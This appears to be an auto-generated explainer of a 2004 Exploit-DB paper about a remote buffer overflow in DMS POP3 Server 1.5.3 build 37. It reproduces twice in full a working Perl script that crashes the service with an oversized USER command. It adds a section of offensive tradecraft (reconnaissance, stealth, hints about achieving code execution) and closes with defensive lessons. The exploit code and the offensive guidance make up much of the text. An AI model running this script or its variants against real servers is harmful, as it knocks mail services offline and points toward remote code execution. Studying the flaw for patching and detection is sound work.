Exploiting DMS POP3 Server 1.5.3 build 37: A Deep Dive into a Classic Buffer Overflow

What this paper is

This paper details a remote buffer overflow vulnerability in DMS POP3 Server version 1.5.3 build 37. The exploit, written in Perl, demonstrates how to crash the service by sending an overly long string as part of a USER command. This crash can be leveraged for denial-of-service (DoS) or, with more advanced techniques (not fully detailed in this specific script), potentially for remote code execution.

Simple technical breakdown

The core of the vulnerability lies in how the DMS POP3 server handles incoming data for the USER command. When a client sends a USER command followed by a username, the server likely copies this username into a fixed-size buffer in its memory. If the username provided is longer than the buffer can hold, it overflows, overwriting adjacent memory. This overwrite can corrupt critical data or program instructions, leading to a crash.

The provided Perl script automates this by:

1. Connecting to the target POP3 server.
2. Sending a USER command with a username consisting of 1023 'A' characters. This is intended to trigger the buffer overflow.
3. Attempting to reconnect. If the server is still running, the exploit failed (likely due to insufficient overflow or a patched version). If the server is unresponsive (crashed), the exploit is considered successful.

Complete code and payload walkthrough

The provided exploit is a Perl script. Let's break down its components:

#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => $ARGV[1],
				    Proto    => "TCP"))
{
	print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

	sleep(1);

	print $socket "USER " . "A" x 1023;

	close $socket;

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => $ARGV[1],
					    Proto    => "TCP"))
	{
		close $socket;

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

# milw0rm.com [2004-11-21]
-----

Payload/Shellcode Explanation:
This script does not contain explicit shellcode bytes. The "payload" is the crafted network string: "USER " . "A" x 1023.

• Stage 1 (Initial Connection & Overflow): The script connects and sends the oversized USER command. The 1023 'A' characters are designed to overwrite the server's internal buffer. The exact size of the vulnerable buffer is not explicitly stated in the paper, but 1023 is chosen as a value likely to exceed it and cause an overflow.
• Stage 2 (Crash Detection): The script attempts to reconnect. If the server is still alive and responding, the overflow did not cause a fatal crash. If the server is dead (crashed), the connection will fail, indicating success.

Practical details for offensive operations teams

• Required Access Level: Network access to the target host and port where the DMS POP3 server is running. No local access is required for this remote exploit.
• Lab Preconditions:
  • A vulnerable instance of DMS POP3 Server 1.5.3 build 37 running on a Windows 2000 or XP machine.
  • Network connectivity from the attacker's machine to the target's POP3 port (default 110).
  • A Perl interpreter installed on the attacker's machine.
• Tooling Assumptions:
  • Perl interpreter.
  • Standard network utilities for testing connectivity (e.g., ping, telnet).
  • The exploit script itself (DMS_POP3_Overflow.pl).
• Execution Pitfalls:
  • Incorrect Version: The exploit will only work against the specific vulnerable version (1.5.3 build 37). Newer versions or patched versions will not be affected.
  • Network Issues: Firewalls blocking the POP3 port, network latency, or packet loss could cause the connection or the overflow attempt to fail.
  • Buffer Size Guesswork: The 1023 'A's is a guess. The actual overflow might require a slightly different length to precisely overwrite critical control structures for a crash or, more importantly, for code execution. This script is purely for DoS.
  • Service Restart: The target service might be configured to automatically restart after a crash, making the DoS effect temporary.
  • False Positives/Negatives: A network interruption during the second connection attempt could be misinterpreted as a successful crash. Conversely, a very resilient server or a slightly different overflow length might not cause a crash but still appear as a failure.
• Tradecraft Considerations:
  • Reconnaissance: Confirming the exact version of the DMS POP3 server is crucial before attempting this exploit. Banner grabbing or vulnerability scanning tools can help.
  • Stealth: This exploit is noisy. The initial connection and the overflow attempt are clear network events. The second connection attempt is also a distinct event. It's unlikely to be stealthy.
  • Payload Delivery: This script only achieves denial-of-service. For actual code execution, a more complex payload (shellcode) would need to be crafted and injected into the overflowed buffer, which is not part of this specific script. This would involve finding the exact offset to the return address and crafting shellcode that is position-independent or knows its own location.

Where this was used and when

• Context: This vulnerability was relevant for attackers targeting systems running the DMS POP3 Server, particularly in environments where this specific software was deployed.
• Approximate Years/Dates: The exploit was published on November 21, 2004. Therefore, its active exploitation period would likely be around 2004 and the years immediately following, until the software was patched or replaced.

Defensive lessons for modern teams

• Version Management: Regularly inventory and patch all software, especially network-facing services like mail servers. Vulnerabilities in older, unpatched software remain a significant risk.
• Input Validation: Developers must rigorously validate all user-supplied input. Fixed-size buffers are inherently risky; dynamic allocation or bounds checking is essential.
• Network Segmentation: Isolate critical services like mail servers on internal networks where possible, limiting direct external exposure.
• Intrusion Detection/Prevention Systems (IDPS): Modern IDPS can detect anomalous traffic patterns, such as unusually long strings in protocol commands, which might indicate an attempted buffer overflow.
• Endpoint Detection and Response (EDR): EDR solutions can detect unexpected process termination or crashes, which are indicators of a successful exploit.
• Fuzzing: Regularly fuzzing network services during development and in production can help uncover buffer overflow and other memory corruption vulnerabilities before they are exploited in the wild.

ASCII visual (if applicable)

This exploit is a simple client-server interaction. An ASCII visual can illustrate the connection and data flow.

+-----------------+       +-----------------------+
| Attacker Client | ----> | DMS POP3 Server (v1.5.3)|
| (Perl Script)   |       | (Target Host)         |
+-----------------+       +-----------------------+
       |
       | 1. TCP Connection (Port 110)
       |    "USER AAAAA...A" (1023 'A's)
       |    (Buffer Overflow)
       |
       | 2. Attempted Reconnect
       |    (If server crashed, this fails)
       |
       +----------------------------------------> (Server crashes/becomes unresponsive)

Source references

• Paper Title: DMS POP3 Server 1.5.3 build 37 - Remote Buffer Overflow
• Author: Reed Arvin
• Published: 2004-11-21
• Exploit-DB URL: https://www.exploit-db.com/papers/644
• Raw Exploit URL: https://www.exploit-db.com/raw/644

Original Exploit-DB Content (Verbatim)

#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => $ARGV[1],
				    Proto    => "TCP"))
{
	print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

	sleep(1);

	print $socket "USER " . "A" x 1023;

	close $socket;

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => $ARGV[1],
					    Proto    => "TCP"))
	{
		close $socket;

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}

# milw0rm.com [2004-11-21]